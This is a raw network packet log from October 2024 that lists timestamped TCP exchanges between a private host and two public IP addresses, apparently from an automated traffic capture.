Oct 24, 2024 08:51:19.191112041 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.191402912 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.191406965 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.194067955 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.194364071 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.194386959 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.194878101 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.194889069 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.306804895 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.306835890 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.306911945 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.306912899 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.306957006 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.307188988 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.307207108 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.307218075 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.307224035 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.317167997 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.317190886 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.317291975 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.319864035 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.319900990 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.319960117 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.319988966 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.320053101 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.321995974 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.322135925 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.322190046 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.323379040 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.323390961 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.326716900 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.326762915 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.326795101 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.326809883 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.329351902 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.329380035 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.329394102 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.329400063 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.331553936 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.331576109 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.331638098 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.331749916 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.331759930 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.331902981 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.331945896 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.332016945 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.332176924 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.332202911 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.333041906 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.334412098 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.334500074 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.334559917 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.334559917 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.334577084 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.334597111 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.336764097 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.336796999 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.336858988 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.336966991 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.336977959 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.413917065 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.414469004 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.414495945 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.415070057 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.415081024 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.715807915 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.716547966 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.716645956 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.718040943 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.718069077 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.718081951 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.718087912 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.721496105 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.721607924 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.721713066 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.721878052 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.721901894 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.042603970 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.045475006 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.045517921 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.045901060 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.045906067 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.073942900 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.077337980 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.077378035 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.077413082 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.077697992 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.077723980 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.077801943 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.077807903 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.078171015 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.078176022 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.079874039 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.080172062 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.080208063 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.080533981 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.080539942 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.205960989 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.206047058 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.206295967 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.206460953 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.206516981 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.206552029 CEST	49936	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.206568956 CEST	443	49936	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.209455967 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.209503889 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.209582090 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.209595919 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.209650040 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.209849119 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.209868908 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.209881067 CEST	49935	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.209887028 CEST	443	49935	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.210062027 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.210120916 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.210231066 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.210361958 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.210374117 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.212285042 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.212325096 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.212390900 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.212392092 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.212438107 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.212496996 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.212531090 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.212591887 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.212627888 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.212641954 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.212656975 CEST	49937	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.212662935 CEST	443	49937	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.212838888 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.212851048 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.219343901 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.219398022 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.219516039 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.219644070 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.219656944 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.374178886 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.374222040 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.374294996 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.374306917 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.374358892 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.455080986 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.489804029 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.489833117 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.489845037 CEST	49934	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.489852905 CEST	443	49934	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.491223097 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.491255999 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.491631031 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.491640091 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.493869066 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.493913889 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.493999958 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.494112968 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.494119883 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.618362904 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.618438005 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.618501902 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.868669033 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.868720055 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.868736029 CEST	49938	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.868743896 CEST	443	49938	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.924388885 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.924446106 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.924536943 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.924741983 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.924751997 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.945070028 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.945667028 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.945743084 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.946286917 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.946296930 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.956959009 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.957387924 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.957415104 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.957984924 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.957989931 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.960841894 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.961100101 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.961118937 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:20.961611032 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:20.961616039 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.076040983 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.076070070 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.076168060 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.076193094 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.076256037 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.078142881 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.078165054 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.078180075 CEST	49939	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.078186035 CEST	443	49939	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.081607103 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.081665993 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.081800938 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.082031012 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.082042933 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.092339039 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.092425108 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.092497110 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.092580080 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.092633009 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.092928886 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.092950106 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.092963934 CEST	49940	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.092971087 CEST	443	49940	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.096349955 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.096396923 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.096468925 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.096853971 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.096865892 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.097419977 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.097450972 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.097492933 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.097520113 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.097574949 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.097738028 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.097757101 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.097769976 CEST	49941	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.097774982 CEST	443	49941	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.100037098 CEST	49946	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.100071907 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.100156069 CEST	49946	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.100372076 CEST	49946	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.100383997 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.240040064 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.240618944 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.240648985 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.241106033 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.241110086 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.373240948 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.373378038 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.373471975 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.373917103 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.373918056 CEST	49942	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.373935938 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.373946905 CEST	443	49942	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.376841068 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.376893044 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.377732038 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.377870083 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.377887964 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.654983997 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.657144070 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.657175064 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.657619953 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.657628059 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.786204100 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.786324024 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.786421061 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.786657095 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.786681890 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.786695004 CEST	49943	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.786700964 CEST	443	49943	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.790249109 CEST	49948	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.790304899 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.790402889 CEST	49948	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.790632963 CEST	49948	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.790649891 CEST	443	49948	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.820261955 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.820918083 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.820947886 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.821273088 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.821408987 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.821415901 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.821511984 CEST	49946	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.821521044 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.821850061 CEST	49946	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.821852922 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.875797033 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.876389980 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.876425028 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.876848936 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.876854897 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.952594995 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.952672005 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.952749968 CEST	49946	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.953082085 CEST	49946	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.953102112 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.953113079 CEST	49946	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.953119040 CEST	443	49946	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.956254005 CEST	49949	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.956309080 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.956392050 CEST	49949	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.956592083 CEST	49949	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.956604004 CEST	443	49949	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.996619940 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.996715069 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.996782064 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.998296976 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.998323917 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:21.998341084 CEST	49944	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:21.998347044 CEST	443	49944	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.004370928 CEST	49951	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.004436970 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.004537106 CEST	49951	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.004745007 CEST	49951	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.004756927 CEST	443	49951	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.019862890 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.019952059 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.020028114 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.020042896 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.020108938 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.020158052 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.020350933 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.020366907 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.020379066 CEST	49945	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.020384073 CEST	443	49945	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.023361921 CEST	49952	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.023403883 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.023495913 CEST	49952	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.023675919 CEST	49952	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.023690939 CEST	443	49952	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.117428064 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.118156910 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.118180990 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.118529081 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.118535042 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.254184008 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.254261971 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.254386902 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.254581928 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.254710913 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.254919052 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.254937887 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.254949093 CEST	49947	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.254954100 CEST	443	49947	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.258001089 CEST	49953	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.258049965 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.258146048 CEST	49953	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.258328915 CEST	49953	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:22.258337975 CEST	443	49953	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:22.346796036 CEST	49753	80	192.168.2.4	185.27.134.114
